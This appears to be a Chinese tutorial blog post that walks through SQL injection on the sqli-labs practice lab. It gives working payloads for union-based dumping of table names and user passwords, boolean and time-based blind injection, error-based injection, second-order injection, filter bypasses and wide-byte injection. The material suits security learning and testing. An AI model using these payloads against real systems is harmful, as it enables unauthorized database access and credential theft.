当前位置: 首页 > article >正文

SQL注入微境界

一、一个get注入的心里历程

使用的漏洞库是sqli-labs

1、判断参数是否代入数据库查询

?id=1

修改参数?id=2

内容有变化,可以确定是代入数据库查询的。

2、判断是字符型还是数字型,是否属于拼接型

?id=2'

有报错型注入

?id=2'--+

--+是注释的一种,+是空格;可以是--空格加任意字符的方式代替

通过上面可知属于字符型注入,因为有回显,所以可以使用联合查询。

3、联合注入

1)确定列数

?id=1' order by 3--+ 

order by 报错就是表示超出列数,不报错就表示未超出列数。

2)爆出显示位

?id=-1'union select 1,2,3--+

可以看出2,3属于显示位,-1是为了让正文查询为空,好让出显示位。

3)获得数据库和版本号

?id=-1'union select 1,database(),version()--+

4)获取security数据库下的表名

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

5)爆列名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

6)爆表数据

?id=-1'union select 1,2,group_concat(username,id,password) from users--+

二、数字型注入

1、?id=1"

 单引号和双引号都未能爆出数字错误,因此这属于数字型错误注入。

数字型错误注入和字符型错误注入方式是一样的

三、单引号和括号的错误注入

?id=1'

可以看出此注入涉及单引号和括号。

?id=2')--+添加了')即可正常访问

?id=2') order by 3--+

四、双引号+括号的错误注入

五、布尔型注入

1、测试是否属于布尔型注入

?id=1' and length((select database()))>7--+

?id=1' and length((select database()))<7--+

?id=1' and length((select database()))=7--+

2、爆字段

?id=1' and ascii(substr((select database()),1,1))=115--+

ASCII_百度百科

通过判断确定字符

substr(a,b,c)--a是截取的字符串,b是截取的位置,c是截取的长度。

六、时间盲注

?id=1' and if(1=1,sleep(5),1)--+

if(1=1,sleep(5),1)的语句当1=1为true则执行sleep(5)会执行延迟5秒,否则1,不会出现延迟。

?id=1' and if(length((select database()))>9,sleep(5),1)--+

七、注释的使用

使用1'

出现报错

1'--+仍然报错

1'#不报错了,表示可以使用#做注释

八、万能密钥

1' or 1=1#

有回显,注入

1' union select 1,2#表示可注入

九、报错型注入

1、extractvalue报错型注入

select extractvalue('<a><b></b></a>',concat('~',(select database())));

#~security

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#     爆版本

1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#    爆数据库

2、updatexml错型注入

1' and (updatexml(1,concat(0x5c,version(),0x5c),1))#.  爆版本

3、group by报错注入

1' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#

1' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#

十、ua、referer、cookie注入

当输入正确的页面的时候,ua、referer、cookie显示在页面上,页面显示哪个即可能哪里存在注入。ua存在注入时,可以在ua后面加引号看是否有报错信息,假如存在可以使用报错注入。

十一、其他

1、过滤符被过滤:假如时候注释符被过滤,可以用单引号进行闭合;

?id=1' or '1'='1

?id=1' union select 1,2,3 or '1'='1

2、二次注入

先是注册一个账号名为admin'#,修改密码,然后修改的是admin的密码,使用admin进行登录即可证实

3、绕过

1)or、 and双写绕过information->infoorrmation

2)大小写绕过

3)逻辑运算符||或者&&绕过,空格使用%a0还有()进行绕过

4)select、union过滤可以使用重写或者大小写进行绕过

4、两个id参数,数据库接收的是第二个id的值?id=1&id=2--+

5、宽字节注入?id=-1%df%27 union select 1,2,3--+.   单引号和双引号被斜杠转义的情况下使用


http://www.kler.cn/a/231462.html

相关文章:

  • Git 分⽀规范 Git Flow 模型
  • Spring 与 Spring MVC 与 Spring Boot三者之间的区别与联系
  • event_base
  • 【免越狱】iOS砸壳 可下载AppStore任意版本 旧版本IPA下载
  • 深度学习笔记14-卷积神经网络2
  • AI行业动态:AGI预测、模型进化与工具革新
  • Docker Compose实例
  • javaEE - 20( 18000字 Tomcat 和 HTTP 协议入门 -1)
  • Python||数据分析与可视化_使用折线图分析各个城市的P.M.2.5月度差异情况(下)及使用堆叠柱状图对各个城市的PM2.5日均值情况进行数据分析与可视化
  • CTFshow web(命令执行29-36)
  • 【51单片机】实现一个动静态数码管显示项目(超全详解&代码&图示)(5)
  • 如何使用C#调用LabVIEW算法
  • 怎么给《Cyberpunk 2077》制作功能性MOD
  • 装箱问题(洛谷)
  • 用爬虫自建行业知识库
  • 三、设计模式相关理论总结
  • Leetcode刷题笔记题解(C++):64. 最小路径和
  • TI毫米波雷达开发——High Accuracy Demo 串口数据接收及TLV协议解析 matlab 源码
  • JAVA的学习Day1
  • uniapp /微信小程序 使用map组件实现手绘地图方案
  • LeetCode 刷题【Java常用API与数据结构总结】(持续更新……)
  • 92.使用数组形式的责任链模式实现项目配置初始化
  • 深度学习(14)--x.view()详解
  • Kubernetes 是什么?
  • 【算法题】95. 不同的二叉搜索树 II
  • ChatPromptTemplate和AI Message的用法